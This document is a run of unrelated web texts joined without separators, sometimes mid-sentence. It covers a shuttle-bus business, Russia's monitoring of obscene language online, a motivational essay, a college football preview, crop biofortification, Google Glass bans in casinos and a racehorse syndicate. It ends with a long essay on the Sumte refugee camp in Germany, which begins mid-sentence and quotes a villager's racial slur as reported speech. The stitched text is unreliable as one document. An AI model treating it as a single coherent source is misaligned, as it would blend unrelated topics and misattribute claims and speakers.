Much of her business lately focuses on scheduled shuttle trips, such as providing the buses for the Midtown shuttle during Super Bowl week and the buses to ferry people to Club Nomadic - a pop-up concert venue here this week - from their off-site parking. She also organizes culinary tours and brewery tours that carry folks between set venues.
The demands put a lot of wear on her eight buses, which she lovingly refers to as her children - though they're about to be supplanted by her first human child in a few weeks. The vehicles have their own roles, hierarchy and in many ways personalities.
"Lola's a party girl," Barrash said, rattling off descriptions for Thor, Marge, Charley and even Cowboy T, who came to her via Dallas.
"That's why he's a cowboy," she said.
Three of her kids are running the Midtown shuttles, with fresh game-related images slapped across their backs. The free shuttles are covered by the city's host committee.
Barrash also has her drivers primed as ambassadors for the area, a role they relish, she said.
"For my drivers, it is cake," she said. "They are more like a concierge."
Meanwhile for her, the juggling act from shuttles to jitney to other tours will last long after the Super Bowl. Not even pregnancy was slowing her down much.
"I'm a person who doesn't like to stop," she said, acknowledging that's an odd statement from someone whose business is based on frequent stops. "(The buses) can stop. I can't."The federal agency for mass media control has started to test software to automatically monitor online media for the use of obscene language, both in articles and in user comments.
A spokesman for the Roskomnadzor agency, Vadim Ampelonskiy, told the mass circulation daily Izvestia that the system was expected to be launched before the end of the year. The cost of the project is estimated at 25 million rubles or about $694,000. Technicians are making lists of keywords for the searches as they manually monitor the Russian language sector of the internet.
The current version of the software only scans text, but in the future it will be also work with audio and video files, Ampelonskiy said.
The monitoring of the internet for obscene language has become necessary as in April 2013 President Vladimir Putin signed into force a federal law banning the use of obscene language in mass media under threat of fines up to 200,000 rubles ($5,500). Breaking the law will result in an official warning to the media outlet and two such warning within 12 months could mean the outlet's government license is revoked.The law applies both to text prepared by editorial teams and to user comments if they are publicly accessible.
Roskomnadzor has come up with two lists of swear words – those that were completely outlawed and those that were allowed under condition that printed and internet media publish them under “16+” parental advisory.
According to the head of the agency, Aleksandr Zharov, within the first year Roscomnadzor issued warnings to 65 mass media outlets, mostly over internet user comments. The official also said that the amount of obscenities in the Russian mass media had dropped dramatically because of the new regulations.
On Monday this week Vladimir Putin signed into law another bill concerning the use of obscene language – the ban on swear words in literature and art, including concerts, theatre, plays and public movie shows.
The violation of the new rules is also punishable by fines of between 200 and 2500 rubles for individuals, between 4000 and 5000 for civil servants and between 40,000 and 50,000 for companies. Movies containing obscene language will be denied official distribution licenses and any showing of a film without a license will be punished with much heavier fines – between 100,000 and 200,000 rubles as well as suspending of the cinema for up to three months.
The law has drawn a lot of criticism from some parts of the Russian artistic community who fear their freedom of expression is being denied. However, according to a poll conducted by the Public Opinion foundation in 2013, 84 percent of Russians supported the ban on obscenities.
It should be noted that the law is not retrospective, and does not apply to creative products released before it came into force.Monsters that make us kneel in front of our wishes.
Monsters that make us forget the future and survive the present.
Monsters that make us stand in the heat instead of relaxing in the shade.
These monsters are the ones that brings out the worst in us. They are the ones that make us drift away from our dream to a more accepted indulgence. They can and they do take the shape of anything, and everything. It can be a price tag that tells us that we can’t buy a particular thing or it can be our birth givers who don’t allow us to pursue a specific career.
It becomes an absolute catastrophe when such a thing does happen. It eats the individual from the inside and the effects are visible outside. It’s a monster created by the society. More so, in ours. Be it from buying a specific type of cellular device to listening to a certain kind of music. If you own anything else except a smart phone, in this age and time, you are laughed and looked down upon. If you listen to Miley Cyrus instead of appreciating Alt-j, you are a music illiterate.
Every particular individual has become so accustomed to this monster that is judgement, that they shy away from their own personality. They convince themselves to live life in a certain way so that they will be socially acceptable, if not popular. And god forbid that you find the combination of red pants and green shirt, aesthetic. Sorry, but then you are doomed.
These monsters are the reason we take hard routes to achieve our goal even if there is a simpler, and an easier way right in front of us. Because if we use the easy way, “Oh she didn’t work. Just got lucky.” Hence, even though we have utmost knowledge of the easier route, we prefer the difficult one. To be presented as a hardworking child.
Monsters such as these make us concentrate on insignificant details. Like, “Did she notice that I spat a bit while talking to her?” These are the culprits that keep us from climbing that higher mountain because we are too focussed on the ruble down below or the fact that we won’t be the first one to climb it.
These details are not important or in any way useful. What they are, is demotivating. All these details are mere distractions from finally reaching the shore.
But, we’ve grown with our neighbour’s eyes linger on our activities, to our teachers taking away the crayon and our parents taking away the mic. It’s pathetic that we let this monster of judgement keep us away from ourselves and not explore the beautiful world within.
It’s time we stood up. Time you stood up to face the monsters which are eating away your youth.
AdvertisementsWhen Steve Spurrier steps onto Florida Field Saturday, he'll face major déjà vu. And it won't just be because of his surroundings.
Florida's running game is vastly improved, thanks in large part to the improvement of senior RB Mike Gillislee. Don McPeak/US Presswire
Sure, the nostalgia of being back in the Swamp will rush over him like a tidal wave, and that sea of orange and blue will slightly tug at his heart as it did almost every Saturday in the 1990s. But he'll also see something even more presently familiar when the Gators line up.
Saturday's matchup between No. 2 Florida (6-0) and No. 7 South Carolina (6-1) features two teams so eerily similar that they could almost switch uniforms and few people would really notice.
Both teams rely on high-powered running games and suffocating defenses and have nimble quarterbacks who are very dangerous with their legs.
They aren't carbon copies, but their roads toward the SEC championship game in Atlanta follow very similar, fundamental paths.
The defenses, which are third and fourth in the SEC in total defense, are separated by only a couple of yards in total, passing and rushing defense, and both allow 12.3 points a game. Both offensive lines will get a good preview of what's to come with the talented defensive fronts they practice against each week.
However, with South Carolina's Kelcy Quarles suspended for Saturday's game and Jadeveon Clowney nursing a foot injury, Florida's offensive line could have more flexibility in the offensive game plan.For around 2 billion people in the world, a meal is not necessarily a source of nutrition. Among the poorest populations, starchy staple crops like potatoes and cassava make up the bulk of people’s diets. The people surviving off these crops “may not feel hungry,” says Bev Postma, CEO of HarvestPlus, “but they’re not getting a diverse, nutritious meal, and this ‘hidden hunger’ can lead to blindness, disease, and stunting.” For children under the age of 11, who grow up without consistent access to adequate nutrition, the developmental effects are irreversible; mothers who lack essential vitamins and minerals are unable to pass them onto their children.
HarvestPlus is working to eradicate the hidden hunger epidemic—not by diversifying the crops that people rely on most, but by ensuring that those starchy staple crops also deliver essential nutrients like zinc, vitamin A, and iron, which are too often missing from people’s diets.
HarvestPlus uses a process of biofortification. In the early 1990s, the company’s founder Howarth Bouis, who at the time was working as an economist at the International Food Policy Research Institute, got interested in the idea that crops themselves could provide some of the crucial micronutrients that were reaching developed countries in the form of supplements, through a delivery and development system that required billions of dollars to sustain. “His idea was: ‘Why can’t we solve nutrition with the very foods people are already eating?'” Postma tells Fast Company.
That line of inquiry led Bouis to the Plant, Soil, and Nutrition Laboratory at Cornell University, where he encountered several researchers looking into the potential of cross-breeding plants to result in higher nutrient levels, without compromising yield. He teamed up with scientists who were piloting an orange-tinted sweet potato high in vitamin A in Mozambique, and others breeding cassava and maize tinged with extra vitamin A. However, the concept was still relatively new–the term “biofortification” wasn’t coined until 2001–and Bouis struggled to find funders to support the research and pilot programs that would prove his concept. “He basically went around with a tin cup for 10 years, looking for funds,” Postma says. That is, until he met Bill Gates.
“Bill Gates is a huge fan of cassava–he thinks it’s an amazing crop that has the potential to transform Africa’s future,” Postma says. In 2003, The Gates Foundation gave Bouis a $25 million grant to prove that high-nutrient crops could be produced using basic plant breeding, without leaning on genetic modification. To do so, he visited seed banks around the world, consulting with breeders to determine that crossing higher-nutrient strains of crops could eventually result in those that contained adequate nutritional levels. Bouis was aiming for a single cassava, for instance, that could contain 100% of a child’s daily dose of vitamin A.
He published several papers on his research, proving the concept, and then, working with the Consultative Group on International Agriculture (CGIAR), a coalition of 16 organizations specializing in global crop development, Bouis launched HarvestPlus in 2003. For the first five years, the organization identified target populations–sub-Saharan Africa, rural India–where hidden hunger was most prevalent, and solidified research to prove that biofortification could scale.
In 2009, HarvestPlus began rolling out the first wave of biofortified crops. The organization focused on 12 staple crops–wheat, maize, sorghum, cassava, beans, and millet, to name a few–and three micronutrients: vitamin A, zinc, and iron. “In the world generally, deficiencies in these three nutrients track poverty,” Postma says. “What we’re finding is we have to tackle all three at the same time.” The organization’s biofortified crops, she adds, can supply children and mothers with up to 100% of their daily nutritional requirements.One place you probably won’t see much of Google Glass is Las Vegas. According to the New York Times, the newly minted headsets that have spawned a tragicomic Tumblr are going to be verboten in most of the city’s gambling establishments.
After all, what is Google Glass but a computer and a recording device? And neither of those are currently allowed in casinos. (Nor, for that matter, was Rain Man.) A spokesperson for Caesars said this: “We will not allow people to wear Glass while gambling or attending our shows.”
Why would they, when developers are coming up with Glass apps such as Winky, which allows users to snap a photo with just the blink of an eye?
So, anyone who was hoping to see George Clooney and Brad Pitt sporting a pair in Ocean’s 1110 (14 in binary), I’m so, so, so sorry. It’s just not going to happen.
[Image by Flickr user popculturegeek]Angrove Mumsbuns out P2P March 2017
Please visit the Paintbox syndicate page for information on how to join, Alternatively if you would like to become a Co Owner please see our for sale page.
Angrove Fatrascal
Angrove Rumbaba was the first coloured racehorse to be placed in a horse race under rules in the UK & Europe!
Angrove Rumbaba first race was at Hexham on the 23rd of April 2012 where he was placed 4th out of 7 runners. Ronnie Rhino rummy stable mate ran in 3rd and 2nd was Green Flag |
believe, of another scuffle between grown men, one of whom can’t abide the other’s nation or faith. There are occasional fights—always catalyzed by alcohol, Meier says—but months later, on my last visit to Sumte, a guard will tell me that the camp is by far the most amiable of the four or five he’s worked at. Most often the police come by to enjoy a cup of coffee, which a camp secretary offers me as soon as I walk in the door.
The main hall of the camp is alive with all the vital energies of the dispossessed. People have nothing to do here but practice their German and gather in the halls with cups of red tea, dispensed from a giant samovar sitting on the folding table of an ad hoc café. I find Meier. He says he’d still like more help but there haven’t been many volunteers from the village. I ask how many exactly. “I’d say it’s about sefr,” he laughs. Sefr is Arabic for zero. Among those who are helping out is Hammer, who has been collecting disused bicycles and fixing them for the camp residents. “I’ve made a few acquaintances here,” Hammer confesses later, as though I’ve caught him being naughty. “But it’s not like you know them very well. It’s like with other people in the village. You just say hello.”
I say hello, too, introducing myself to a few of the young men loitering in the main hall. They hail from Iraq, Syria, Palestine. They gesture to their sleeping quarters inside one of the attached warehouses, a vast warren of semiprivate cells.
Amt Neuhaus looks all the sleepier after my misty walk back into town. I sit down with a coffee and the local newspaper inside the empty bakery. There’s been an arson attack on a forty-eight-bed refugee camp in Barsinghausen, near Hannover. Back at the hotel, the TV news airs a segment on other arson attacks that followed a Pegida demonstration in Dresden. Meier’s anxiety about safety seems justified.
Yet the isolation in the camp feels extreme, especially in the middle of winter. There can be no neighborly drop-ins from the village next door. Camp residents must show guards a badge to come and go. The complex itself is improvised and strange, a shelter that never quite manages to become a home. Families can’t cook dinner together or cuddle in quiet repose. They must make do with their assigned “bedrooms,” a generous euphemism for the jaundiced mattresses and flimsy plastic room dividers each family enjoys. Although Meier is anxious that the camp not resemble some wintry Bantustan, he can’t force a community into existence. He is happiest when the residents transform the camp for their own use. When a trilingual Moroccan named Abo has the idea to open a shisha bar inside the camp, Meier relaxes his prohibition against smoking for the sake of general camaraderie. For weeks thereafter, wafts of pomegranate and strawberry trace a breezy scent from the front of the complex as far away as Schlemmer’s living room.
Schlemmer may be the only person in town who remains excited about the camp and its promise of a renewed Germany. He has embraced Merkel’s optimism, even if he occasionally fears that her lack of concrete planning may have created a bit of a pflaume, or plum of a situation, at the national level. From his vantage next door he bears witness to the lives they’ve already saved. The buses have been offloading passengers at his doorstep to avoid getting caught in the tight roundabout at the camp gate. He makes sure to greet every disembarking soul. Some of them—the Africans, whom he calls neger, a politically incorrect term—are blacker than his blackest paint, he says, “so black their eyes glow in the dark.” Some, he learns, are doctors, engineers, scientists. Whoever they are, he’s happy they’re here, and when he discusses the issue he seems to beam with pleasure. We need young workers, he says. “Otherwise the whole country will turn into a senior city.” He is amazed that some of the mothers arrive shepherding seven, eight, even nine children. For centuries, the peasants of Europe measured their affluence in children, and now Schlemmer looks at these families and sees the precious sum of their wealth. Little spatzen, he says. Little sparrows. No, he corrects himself. Little black-haired organ pipes, each a different height.
Spring
We forget how weather shapes the world. Winter presses strangers together. Desires shrink in darkness. But as the days get longer, meadows and paddocks come back from the dead. New plans replace the anxieties of winter. The refugees begin to venture out beyond the confines of the camp—in some cases leaving Sumte altogether. At first it’s just a handful of young men in February and early March. It doesn’t seem to bother the locals, most of whom are occupied during my next visit with the business of Easter.
On Holy Saturday morning I talk to Thomas, the shy housepainter, out in his driveway on the bridle path. A family feast is about to begin. He still hasn’t had much contact with the refugees. He sees them walking down Hauptstraße on their way to town. They seem—how to put it—“a little embarrassed.” Maybe that’s why they don’t make more of an effort. His wife has tried to visit the camp to volunteer, but the ASB guards are unfriendly and gruff. Some of them can barely speak German. “It scares people off,” he says. “It’s like there are two towns living side by side.”
In Amt Neuhaus, Renate Schieferdecker is preparing her sermon. She shares a pastorship with her husband, Matthias. Between the two of them they’re holding an early service at St. Mary’s in Amt Neuhaus, another in Stapel, and, the following day, a third in Konau before she drives back to St. Mary’s for an Easter Monday trombone concert. Rural towns in Germany no longer have the population to support a pastor in every rectory. The ordained are spread across multiple churches, some of whose cornerstones predate the Great Northern War. The Schieferdeckers manage eight Lutheran parishes of dwindling and white-haired memberships.
I suggest to Schieferdecker that the arrival of so many new residents must have seemed like a unique opportunity to draw more souls into the Christian fold. She looks at me like I’m crazy. “We were naturally concerned when the news came,” she says. Most of the worries concerned the financial burden on the town, including what she describes as “social-assistance envy.” And then there was the culture shock. She confides that she’s heard about some problems with Western-style washrooms (“Muslims have to wash several times a day, and they were getting water everywhere”), and with what she describes as Afghan-Persian infighting (“Any time you get an Afghan and a Persian together, there will be conflict”).
Schieferdecker’s breathing is heavy and sharp even though we’re just sitting in her rectory office drinking coffee. She comes from a small village in the Harz Mountains, and this Dutch-like lowland town does not seem to agree with her. But her assigned parish is God’s will. So, it seems, is the refugees’ presence. Like everyone else, she praises Meier and ASB for handling things wonderfully.
Fire pits roil on Holy Saturday night. The conflagration beyond the bus station in Amt Neuhaus is so large it smolders for three days. Not many refugees attend. A few wander out to the volunteer firehouse in Sumte, where locals have gathered around a smaller fire, but most stay in the camp.
On Monday afternoon, a brass band unpacks trombones and trumpets in the church transept. About twenty churchgoers show up to hear the musicians blurt their way through a half hour of hymns with appreciable enthusiasm, if not much skill. The last arrivals are four Iranian men in their early twenties. One is awkwardly overdressed in a powder-blue suit. They sit in the last pew and don’t talk to anyone. Most Iranians are not long in Amt Neuhaus once they learn of the diaspora in Hamburg.
It’s hard to say how many refugees are left, Meier tells me—“a few hundred less than capacity.” He can’t stop them from leaving. Between the isolation and the shock of the frigid German winter, he says, the unmarried men, in particular, became despondent. The desire to leave outweighs their monthly stipend. Some knock on Schlemmer’s door to ask, in admirable if choppy German (only the children have, almost without exception, achieved fast fluency), how to reach Sweden or Hamburg. Helpful even in the face of failure, Schlemmer dispenses bus schedules. He doesn’t want anyone to get lost. But others just start walking, along the road or straight into a field. Before they leave they sometimes bare their souls to Meier, and in doing so they sound an awful lot like Sumte’s NPD pariahs: “There’s nothing here for a foreigner,” they say. No jobs, no opportunities, and—not a small matter—no way to meet women. Even Abo leaves, and without him the shisha bar closes.
“Yes,” Schieferdecker says after the concert, “the refugees are leaving.” In previous months, a handful of curious Muslims would stop by the church each week. She shows me Arabic and English versions of the parable of the sower she’d had typed up and printed. But now no one comes, and there are just four men left of the five or six Iranian families who’d briefly joined the church. “They consider themselves Christian,” she says. The man I’d seen wearing the suit has delayed his departure because he’s learning to play the church’s pipe organ, but even this diversion won’t hold him here forever. There’s been an evacuation. “Some of the refugees walk fifty kilometers to the nearest train station,” Schieferdecker says. Others walk even farther. One man from Darfur, who’d been living with a local family, disappeared a few weeks ago and was eventually picked up by the police at the French border, having walked a distance of 370 miles toward contacts in Paris. The police returned him to Amt Neuhaus, his registered home.
Four countries—Croatia, Serbia, Slovenia, and Macedonia—close their borders in March in response to the 123,000 migrants who landed in Greece at the start of 2016. This impasse slows the inflow of migrants to a trickle. There is no great outcry in Germany, where last autumn’s optimism has been replaced by the rise of populist parties and media reports, rarely impartial, of migrant crimes. Merkel’s Wir schaffen das has grown an ever-lengthening tail of asterisks, footnotes, and notas bene.
The EU-Turkey Refugee Agreement, also signed in March, will send to Turkey tens of thousands of the migrants trapped in Greece, in return for which Germany will accept some of Turkey’s Syrians. Turkey will also receive 6 billion euros in EU funds. It is not clear whether the agreement violates EU asylum laws, but few politicians now seem concerned with such formalities. Germany is busy developing legal maneuvers to deport some African and Afghan asylum seekers without violating the UN prohibition against refoulment. In April, Obama praises Merkel for being “on the right side of history.”
All spring long, in the world beyond Sumte, profiles of refugees appear in international papers. They’re almost interchangeable, these action-packed accounts of harrowing journeys to Europe. I read dozens of them and even write one or two myself. I notice that most stories of asylum by Western journalists fall into the same trap of condescension: flattening their subjects into simple creatures of suffering and good intention. They want a roof, a job. They love Europe and democracy. They suffer nobly at the hands of German bureaucrats.
If it is a dehumanizing lie to suggest that all refugees are criminals, as the right-wing press seems content to do, it is no less a lie to depict them as hapless victims. My own experiences suggest that refugees are as diverse as any other randomly assembled group of people. Between visits to Sumte I meet dozens of them while volunteering at an English-language class for refugees in Berlin, and while visiting other camps and activist groups around the country.
I meet and profile for a magazine a Syrian rapper from Aleppo who stands in awe of Run-DMC and Eminem, and who lives in a city on the Baltic coast. He’s lonely and depressed. He’s also a devout Muslim and writes anti-gay screeds on his public Facebook news feed, but when my photographer calls him out on his bigotry, my profile subject seems truly hurt. They have a chat about tolerance in the West, and later he tells me—without a trace of dissembling—that he’s reformed his opinions. He’s a European now.
I befriend a committed Marxist from Tartus, Syria. He is not an asylum seeker but a student. He holds a master’s in political science from an Italian university, and we spend late nights conversing about solidarity, the indignity of asylum, the politics of America and Israel, and other light subjects for smoky rooms. I offer to help translate an Arabic statement for one of his rallies in Berlin—a document that makes several uncompromising demands on the German government—and through a drunken misunderstanding end up agreeing to perform the speech myself, in freezing weather, during a march of Arabs down Kottbusser Damm. Beforehand, I tell him that I’m a little uncomfortable with this breach of journalistic objectivity. “Don’t worry,” he tells me. “You’ll do great.”
Another Syrian, a former revolutionary from Aleppo, also becomes a dear friend. My wife and I attend regular parties at his palatial apartment near the city’s red-light district, a flat he shares with other Arabs and Australian and Irish expats. The parties are more libertine than I’m used to, but they always include heaps of Syrian food. My friend is an accomplished chef. His parents, who were once wealthy industrialists, are still living in a refugee camp outside the city after more than two years in Berlin. They haven’t yet been able to find an apartment close to their daughter and her growing family.
I meet a seventeen-year-old boy from Afghanistan who speaks no English but is a ranked chess player and, based on what I’m able to gather from his friends, an academic prodigy. He has one college degree and has been accepted into a German university for his second. He is paralyzed by shyness.
These people would make good profile subjects, which is to say they aren’t the ones Germans—some Germans—are afraid of. Occasionally, I meet one of those. For a few weeks, at the language class, I teach English to a man from Libya who cannot bring himself to take instruction from any of the female volunteers or even shake a woman’s hand. He just smiles and shakes his head.
Other men at the volunteer program, though more willing to integrate, nonetheless fail to improve their English or German, even after several months of instruction. How can they hope to find work here?
I’m not sure it’s possible to tell any of these stories plainly, with open heart and without agenda. I wonder how much good it would do anyway. Everyone I talk to seems to have already made a decision about the “refugee question”: whether to open borders completely—No borders! No nations!—or close them to the masses of false refugees, secret terrorists, and “economic migrants” who, according to politicians on the right, make up the majority of asylum seekers. It strikes me that if what Germany is trying to do is ever going to work, it will depend not on the purity or suffering of the migrants—where the media has chosen to rest its sights—but on the beliefs, prejudices, and fears of their hosts.
Summer
Europe has never been free of mass migratory movements. During the German ostsiedlung, or eastward expansion, thousands of settlers wandered into the hinterlands of the Holy Roman Empire. Sumte was founded in this medieval era, when settlers crossed the Elbe to cohabitate with Slavic farmers living on the far bank. There were no passports. Migrant laborers followed rumors of good farmland and ready work. Only in 1866, when Hannover became a province of Prussia and its long line of Hohenzollerns, did Sumte find itself part of a country we might recognize as modern, with settled notions of citizenship and nationhood. Sumte passed from Prussian hands to the Kaiser, then to Hitler, the British occupation zone, and Soviet control. When the GDR was formed, watchtowers went up and a three-mile-wide exclusion zone incorporated all Elbe border towns. Those who lived in Sumte could not enter or leave the village without a permit. Family visits had to be requested in advance.
Taking this long view, the refugee camp is just one more radical change to befall the village. If history is any judge, it will eventually be replaced by something else. By the start of summer, only a handful of people seem to think the camp could become something more permanent—something to pull Sumte out of the mighty historical entropy in which it seems permanently gripped.
One of those people is Meier, who by May has corrected most of the shortcomings that had troubled the camp in its first months. The internet works. There is a fine canteen, not to mention a laundry service, shuttles to Amt Neuhaus, the teen center, schoolrooms, a cell-phone store, a medical center, therapists’ offices—even a movie night whose programming is determined by a committee of resident mothers. (“They insisted that it should all be in German,” Meier says. It’s the first cinema Sumte has ever had.)
He has more time to improve the camp now that so few residents are left to care for. Into the summer, more and more people leave of their own accord, not just men now but couples and families. Just eighty residents remain, mostly families with young children. The hallways are hushed.
“If only we’d had internet from the very start,” Meier laments, then people wouldn’t have left so quickly. They might have stuck around, learned the language, found some work.
But the internet issue is only a synecdoche for the larger political boondoggle. Germany’s position on asylum is more incoherent than ever. Thousands of asylum seekers are stuck in Greece, where they await EU translators and caseworkers who may never come. Merkel is facing unprecedentedly low approval numbers into the summer. It doesn’t seem to matter that the country’s borders, as Meier is quick to point out, have been effectively sealed.
I ask Meier whether he thinks they’ll continue to accept any new refugees. He takes a while to respond, and when he does it is with what seems like a non sequitur. He tells me he often thinks about Alberta. Have I heard of it?
We’re sitting in his office in the Sumte camp, which is predictably utilitarian. The only window looks out on another window. On the door someone has taped a piece of paper that reads big boss. Meier lives in Hannover but he eschews urban life and often finds himself thinking about Alberta, that pristine Canadian landscape. He has misty dreams of Alberta, he says. He also thinks about statistics. “My religion,” he often says, “is mathematics.” He thinks about the fact that there are sixty-two people on the planet as rich as the poorest 3.5 billion. (It is now thought that eight people control as much wealth as the poorest half of the world.) He thinks of monopolies, vast collections of power and money, selfishly hoarded. The oil sands of Alberta, he says, are often on his mind. Shale-mining operations that cover an area the size of England. Ten thousand new wells since 2008, he says, both fracking and horizontal drilling.
The First Nations people of Canada live there, he says, and I realize he may have rehearsed this monologue for just such an occasion. “The Canadian government offers them money, but they don’t want money,” he says. They want to live in an unspoiled landscape. They want to live at home. And this—this—is what people want all over the world: to stay at home, to continue to have a home. “So now politicians in Europe have closed the borders,” he booms. Merkel has made her deal with Turkey. There are no more asylum seekers coming through Idomeni, they’re being shipped to God knows where in Turkey, yet none of the problems that created these mass movements of people in the first place have been solved. Assad continues to bomb his own citizens with impunity, he says. Afghanistan and Iraq are fracturing. In Africa, 66 percent of the land is hot, dry desert. We could be planting trees and irrigating wide swaths of the country. Instead, we’re destroying it: in Alberta, in Africa. “These are big problems,” he says. “Our families here come from war, they come from total poverty.” This is the world Meier is responding to: the world’s 65 million uprooted. The average period of displacement is seventeen years—a generation lost at sea.
“So indeed, to answer your question,” Meier says, “it may be that we’ll get more refugees. If the minister calls me tomorrow and says, ‘Mr. Meier, you must take hundreds more,’ it’s no problem. We’ll see what happens this summer. But we’re ready: The camp, the town, everyone is ready. If the refugees can only get here, we’ll take them. We’ll take them all.”
In September the trees, previously leafy and undulant in the lowland winds, are suddenly heavy—with pears, with apples, with powdery plums. It’s the season of mellow fruitfulness. Those lining the main avenue drop their bounty into the harvested fields on either side of the road, to rot in the troughs of manure and straw.
I’m driving around the countryside in a rental. A mile outside the village, a boy is playing in a plowed field, and I park to watch him. He mounts a three-deep stack of hay bales and performs a tight front flip onto the unpacked hay beneath. Could you do that again? “I can do this all day,” he says, and obliges. We’re the only people in sight.
A storm has passed over Sumte and the light is honeyed. At the camp a belated sign has appeared outside the front entrance: herzlich wilkommen. Through the fabric it’s easy to make out the more apposite text facing the building’s doors: auf wiedersehen.
The refugees are gone. The last seven holdouts left last week for other camps, for Hamburg—anywhere else. About eighty have settled around Amt Neuhaus in Soviet-era apartment blocks, but the rest have left. It wasn’t by local choice. There are huge political weather patterns at play here, and they buffet and bedevil ships like the Sumte camp without ceremony. And the labor that went into the camp? The tax dollars? The discussion and compromise? It feels long since finished, the villagers tell me. Like everything else in Sumte, it’s become part of the historical record.
Bagunk, the innkeeper in Amt Neuhaus, tells me she’s sorry to see them go. She enjoyed the liveliness that descended on the town for a few months. “There were even lines at the supermarket,” she says. Her business also benefited from the bluster of news crews, the reporters from Al Jazeera and Der Spiegel sneaking about the woodpiles. (“All these reporters, tigering around,” Schieferdecker had told me.) Now it’s quiet again.
In her office, Richter pats herself on the back. It was a great success, she says. There were no Nazis, no mobs, no violence. That’s all she could have hoped for. A local credit union has offered to buy the Apontas building. Maybe they’ll sell it. Maybe they’ll turn it into a refugee job center, she hopes, although I point out that any interested refugees would have to travel from Lüneburg or Hannover, since they wouldn’t be living in the camp. That’s true, she admits. The place will no longer be a shelter. “I won’t be delivering any more of those,” she says, and points to the corner of her office, where for the first time I notice a row of green backpacks lining the far wall. Each is filled with baby formula, diaper coupons, towlettes, and a onesie. She’s visited every newborn under her jurisdiction for the past five years, she says, including the three documented camp births since last October: three babies born into exile on the Elbe.
In Sumte I waylay Thomas, the Platt-speaking housepainter, who is taking a Sunday walk with his wife and their own swaddled newborn. “They’ve harvested the fields and the hard work is finished,” he says. “The camp is closed. The lütten is here. All is good heading toward Christmas.” On that note, they walk away, not even saying goodbye, eager to turn their attentions to Sumte’s 103rd citizen: the lütten, the little one.
I drop in on Dirk Hammer, who is busy in his workshop. He feels ambivalent about the camp’s closing. A year ago he’d railed against Hannover and Berlin in Facebook posts that mocked politicians with no concrete solutions to the crisis. But he’d come to be one of the most recognizable faces in town when the media circus descended. He was never afraid to liaise with the press. He was the bicycle man, a welcoming figure. Now he stops his work to tell me that what the area really needs—what no journalist will dare report on—is jobs: not the sixty or seventy that the refugee camp provided, but hundreds. It’s sad that the camp closure will mean the loss of work, he says, but where was the public outcry when Apontas moved away? “It has nothing to do with refugees,” he says. “We need jobs.”
Which isn’t to say they wouldn’t do it again. “Of course we would,” he says, “but we wouldn’t necessarily be happy about it.” He thinks for a minute. “Although we did get the streetlamps.”
From Hammer’s workshop I walk around a barn filled with milking cows into a soft-focus September afternoon. The sidewalks are veined with snail slime. Sheep are shorn and raw. The Arabian horses stand around chewing, their faces shimmering with black flies, and the Arabic/English signs warning people away are gone. Instead, the new lampposts are adorned with campaign posters for next week’s state elections. The bridge is once more an issue of top importance. The roadside pears are hard and cold, with almost no sweetness.
In the camp conference room, Meier sets out plates of cookies. He’s about to host a meeting with Richter and a dozen other administrators to discuss ASB’s withdrawal and the future of the site. Nobody can say yet what will happen. As he works, Meier thinks about good memories of a nature camp he’d attended as a boy, out in the countryside. Maybe someone could found a nature camp here, with fishing and horseback riding.
“I guess it’s not very likely,” he says.
On previous visits, I’d been limited to public rooms, but now Meier says I can wander as I please and take as many pictures as I like. I stroll down the long hallway to which twenty-one prefab warehouses are attached on either side, like the stumpy legs of a centipede. The once-bustling cell-phone store, the cafeteria, the medical station, the ladies’ clothing boutique, and the social workers’ offices all stand empty. A few remaining workers are breaking down plywood structures. Metal bed frames line one side of the hall. In the former kindergarten nothing has been touched. Action figures and fantasy playsets are frozen in mid-play, like something you’d stumble upon in a Pompeii living room. Dishware and samovars have been tidily arranged along the windowsills and atop an archipelago of folding tables in the middle of the former dining hall. In one room, a heap of thousands of pillows touches the ceiling. It’s quiet and dark among these piles, insulated by pallets of hundreds of foam mattresses.
The very last room is a storage area. It’s filled with every domestic item imaginable, from boxes of donated clothes to jugs of ammonia to aquariums and clock radios and all of Hammer’s bicycles, lined up against a dozen baby strollers.
A young woman from Amt Neuhaus escorts me back to the entrance. She started working at the camp in January, during her last months of high school. Now she wants to study social work at university. The camp was wonderful, she tells me. People really got along. “Some of the refugees who left months ago have even written to ask if they might come back,” she says. They’re unaware that the camp has closed for good. They write that the accommodations here were so nice, the people so friendly.
So what went wrong? I find Meier’s explanations—the lack of internet, the shock of winter—unconvincing. I think back to Merkel’s early optimism, which turned to nationwide skepticism as a plan for integration failed to appear, as we instead accustomed ourselves to a haphazard collection of camps scattered across the country in villages of the unprepared. Was there ever a specific vision of success?
“Character is fate,” the German Romantic poet we know as Novalis once wrote, loosely translating Heraclitus. It is a very German idea. This is the country where Romanticism was born and never really died, although it has undergone numerous transformations. It could be accused of inventing race thinking, writes Hannah Arendt, just as political romanticism could be accused of inventing “every other possible irresponsible opinion.” In the twentieth century, Novalis’s sentiment reached extremes of national and racial character during the apocalyptic endeavor called National Socialism. And as the refugees started pouring into the EU, people began talking once more about Germany’s national character. It was often suggested that only here in Germany—a country more deliberately deprogrammed than any other from the myths of ethnic tribalism—could such an experiment in asylum take place. Never mind that this was simply the inverted, world-positive remix of the Nazi fantasy: that Germany was fated to, in the former case, produce a kingdom of Aryan supermen, and, in the latter, adopt the world’s refugees, because of its character (meaning in the post-reunification sense its historical awareness, its liberalism, and above all its wealth). Forget the details, Merkel seemed to be saying, we will manage it somehow because this is who we are. “If we now have to start apologizing for showing a friendly face in response to emergency situations,” she said, “then that’s not my country.”
I wonder whether this belief in Germany’s righteousness—its constitution-bound duty to protect human dignity—didn’t do more to harm Merkel’s efforts than all the country’s xenophobes and fearmongers combined. In Sumte I saw many nervous people willing to give refugees a chance, but with a few exceptions—Meier, Schlemmer, Hammer—they kept their distance. They retreated into private life. Too many people in Germany, and throughout Europe and beyond, seem to have believed they could leave things to the experts. They assumed, in other words, that character is fate: that some abstract “Germany” would take care of the crisis.
Arendt warned us against this idealism, too. “No paradox of contemporary politics is filled with a more poignant irony,” she wrote in 1949, than the discrepancy between the efforts of idealists who talk about “inalienable” human rights, and “the situation of the rightless themselves.” Such rights are never guaranteed by documents or goodwill. They are preserved only by perpetual effort. “We are not born equal,” she writes. “We become equal as members of a group on the strength of our decision to guarantee ourselves mutually equal rights.”
If the myths of nations will not protect the stateless, nor does empathy alone suffice. I saw the natural limits of empathy in Sumte, where for safety’s sake—out of a not inconsiderate desire to protect the vulnerable—refugees were isolated to an intolerable degree. It would take a kind of radical courage to replace this empathy born of pity, which does nothing to erase the otherness of the protected, and can never blossom into fraternity, much less friendship. It would take a kind of faith.
